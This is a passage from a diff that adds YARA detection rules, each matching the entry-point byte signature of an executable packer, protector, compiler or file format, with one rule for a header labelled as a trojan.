+		$2 = {15 10 05 23 14 56 57 57 48 12 0B 16 66 66 66 66 66 66 66 66 66 02 C7 56 66 66 66 ED 26 6A ED 26 6A ED 66 E3 A6 69 E2 39 64 66 66 ED 2E 56 E6 5F 0D 12 61 E6 5F 2D 12 64 8D 81 E6 1F 6A 55 12 64 8D B9 ED 26 7E A5 33 ED 8A 8D 69 21 03 12 36 14 09 05 27 02 02 14 03 15 15 27 ED 2B 6A ED 13 6E ED B8 65 10 5A EB 10 7E EB 10 06 ED 50 65 95 30 ED 10 46 65 95 55 B4 ED A0 ED 50 65 95 37 ED 2B 6A EB DF AB 76 26 66 3F DF 68 66 66 66 9A 95 C0 6D AF 13 64}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _MSLRH_v032a_fake_PEX_099__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PEX 0.99) -> emadicius"
+	strings:
+		$0 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+		$1 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ORiEN_212__A_Fisun_
+{
+	meta:
+		description = "ORiEN 2.12 -> A. Fisun"
+	strings:
+		$0 = {E9 5D 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 78 3B}
+	condition:
+		$0 at entrypoint
+}
+rule _SimbiOZ_13__Extranger_
+{
+	meta:
+		description = "SimbiOZ 1.3 -> Extranger"
+	strings:
+		$0 = {57 57 8D 7C 24 04 50 B8 00 ?? ?? ?? AB 58 5F C3}
+		$1 = {57 57 8D 7C 24 04 50 B8 00 ?? ?? ?? AB 58 5F C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WarWind_Save_file_
+{
+	meta:
+		description = "WarWind Save file"
+	strings:
+		$0 = {57 41 52 53 41 56}
+	condition:
+		$0 at entrypoint
+}
+rule _TIFF_Graphics_file_IBM_
+{
+	meta:
+		description = "TIFF Graphics file (IBM)"
+	strings:
+		$0 = {49 49 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_FullEdition_V120V121_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack FullEdition V1.20-V1.21 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 10 00 00 08 00 00 00}
+	condition:
+		$0
+}
+rule _AntiDote_12Demo__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2.Demo -> SIS-Team"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08 61 0F 1D 1D 2A 01 87 35 4C 07 39 0B}
+		$1 = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08 61 0F 1D 1D 2A 01 87 35 4C 07 39 0B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE32Pack_v137_
+{
+	meta:
+		description = "EXE32Pack v1.37"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40}
+		$1 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Sentinel_UltraPro_Dongle_V110___SafeNet_Inc_
+{
+	meta:
+		description = "Sentinel UltraPro Dongle V1.1.0  -> SafeNet Inc."
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 85 C0 0F 85 59 06 00 00 55 56 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE ?? ?? ?? 0D 01 ?? ?? ?? A3 ?? ?? ?? ?? 33 C0 50 C7 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 BD 0F 00 00 83 C4 04 83 F8 64 7C E7 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 8B 4D 00 83 C5 08 ?? ?? ?? ?? ?? ?? ?? 66 8B 75 FA ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 8B 55 FC 81 E1 FF FF 00 00 81 F9}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiKill_PAGELK__Trojan__20090624_
+{
+	meta:
+		description = "AntiKill_PAGELK -> Trojan * 20090624"
+	strings:
+		$0 = {50 45 00 00 4C 01 05 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 02 00 00 10 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2E ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 5F 50 41 47 45 4C 4B 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2E 69 64 61 74 61 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 2E 72 73 72 63 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2E 72 65 6C 6F 63 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _fasm__Tomasz_Grysztar_flat_
+{
+	meta:
+		description = "fasm -> Tomasz Grysztar [flat"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 ?? 2B 8D EE 32 40 00 83 E9 0B 89 8D F2 32 40 ?? 80 BD D1 32 40 ?? 01 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _diPacker_1x__diProtector_Software_
+{
+	meta:
+		description = "diPacker 1.x -> diProtector Software"
+	strings:
+		$0 = {0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5}
+	condition:
+		$0 at entrypoint
+}
+rule _ACESFX_Archive_
+{
+	meta:
+		description = "ACE-SFX Archive"
+	strings:
+		$0 = {2A 2A 41 43 45 2A 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPack32_v100_v111_v112_v120_
+{
+	meta:
+		description = "WWPack32 v1.00, v1.11, v1.12, v1.20"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_UPX_0896__102__105__124__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake UPX 0.89.6 - 1.02 / 1.05 - 1.24) -> emadicius"
+	strings:
+		$0 = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40}
+	condition:
+		$0 at entrypoint
+}
+rule _FIDO_mail_packet_
+{
+	meta:
+		description = "FIDO mail packet"
+	strings:
+		$0 = {03 00 03 00 CD 07}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Protector_137a_
+{
+	meta:
+		description = "EXE Protector 1.37a"
+	strings:
+		$0 = {68 54 14 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 5C C3 4D EA 29 A6 D2 11 BB FF 44 45 53 54 00 00 00 00 00 00 00 00 01 00 00 00 00 00 B5 09 00 A0 70 72 66 45 6D 62 65 64 64 65 64 43 6F 64 65}
+	condition:
+		$0 at entrypoint
+}
+rule _Vprotect_V201110304__CoooLie_
+{
+	meta:
+		description = "Vprotect V2.0.1.110304 -> CoooLie"
+	strings:
+		$0 = {8B 67 28 8B C0 F6 D5 F7 D7 8B F6 F7 D7 F6 D5 F7 D7 8D 80 E9 FF FF FF 8D AD FF FF FF FF 60 66 F7 D3 66 F7 D3 61 8D AD 01 00 00 00 8D 80 17 00 00 00 F7 D7 66 56 8D 9B F6 FF FF FF 8D 80 F6 FF FF FF 8D 80 0A 00 00 00 8D 9B 0A 00 00 00 66 5E 61 9C 9D 8D 9B EE FF FF FF 57 86 F1 8D BF F5 FF FF FF F7 D6 66 8B D2 F7 D6 8D BF 0B 00 00 00 86 F1 5F 8D 9B 12 00 00 00 66 52 8D 92 E4 FF FF FF 8D 92 1C 00 00 00 66 5A 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_098__tE_
+{
+	meta:
+		description = "tElock 0.98 -> tE!"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E ?? ?? 00 00 00 00 00 00 00 00 00 3E ?? ?? 00 2E ?? ?? 00 26 ?? ?? 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 36 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00}
+		$1 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E ?? ?? 00 00 00 00 00 00 00 00 00 3E ?? ?? 00 2E ?? ?? 00 26 ?? ?? 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 36 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+		$2 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E ?? ?? 00 00 00 00 00 00 00 00 00 3E ?? ?? 00 2E ?? ?? 00 26 ?? ?? 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 36 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _SmokesCrypt_v12_
+{
+	meta:
+		description = "SmokesCrypt v1.2"
+	strings:
+		$0 = {60 B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_V25XV27X__SetiSoft_Team__20080718_
+{
+	meta:
+		description = "Private exe Protector V2.5X-V2.7X -> SetiSoft Team * 20080718"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_50_Dll__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 5.0 Dll -> Silicon Realms Toolworks"
+	strings:
+		$0 = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 20 15 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 D7 23 00 00 59 89 7D FC FF 75 08 E8 EC 53 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 2B C5 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 19 ED FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 7D 22 00 00 59 C3}
+		$1 = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 20 15 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 D7 23 00 00 59 89 7D FC FF 75 08 E8 EC 53 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 2B C5 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 19 ED FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 7D 22 00 00 59 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1355__Obsidium_Software__20080411_
+{
+	meta:
+		description = "Obsidium V1.3.5.5 -> Obsidium Software * 20080411"
+	strings:
+		$0 = {EB 01 ?? E8 2B 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 23 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 02 ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 ?? ?? ?? ?? EB 01 ?? E8 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 01 ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _XoReR_10_
+{
+	meta:
+		description = "XoReR 1.0"
+	strings:
+		$0 = {BE 00 00 8B FE B9 6B 00 33 DB 80 C3 00 AC 32 C3 AA E2 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_V20X__RiSco_
+{
+	meta:
+		description = "ACProtect V2.0.X -> RiSco"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211b_
+{
+	meta:
+		description = "ASPack v2.11b"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55}
+		$1 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MinGW_GCC_DLL_2xx_
+{
+	meta:
+		description = "MinGW GCC DLL 2.xx"
+	strings:
+		$0 = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_290_LZMA_
+{
+	meta:
+		description = "UPX 2.90 (LZMA)"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+		$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90}
+		$2 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04}
+		$3 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Obsidium_v1304__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium v1.3.0.4 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 ?? 00 00 00}
+		$1 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64}
+		$2 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? E8 3B 26 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _RLPack_118_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ZealPack_10__Zeal_
+{
+	meta:
+		description = "ZealPack 1.0 -> Zeal"
+	strings:
+		$0 = {C7 45 F4 00 00 40 00 C7 45 F0 ?? ?? ?? ?? 8B 45 F4 05 ?? ?? ?? ?? 89 45 F4 C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 F0 7D 22 8B 45 F4 03 45 FC 8A 08 88 4D F8 0F BE 55 F8 83 F2 0F 88 55 F8 8B 45 F4 03 45 FC 8A 4D F8 88 08 EB CD}
+		$1 = {C7 45 F4 00 00 40 00 C7 45 F0 ?? ?? ?? ?? 8B 45 F4 05 ?? ?? ?? ?? 89 45 F4 C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 F0 7D 22 8B 45 F4 03 45 FC 8A 08 88 4D F8 0F BE 55 F8 83 F2 0F 88 55 F8 8B 45 F4 03 45 FC 8A 4D F8 88 08 EB CD FF 65 F4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Embedded_19X__Jitit_
+{
+	meta:
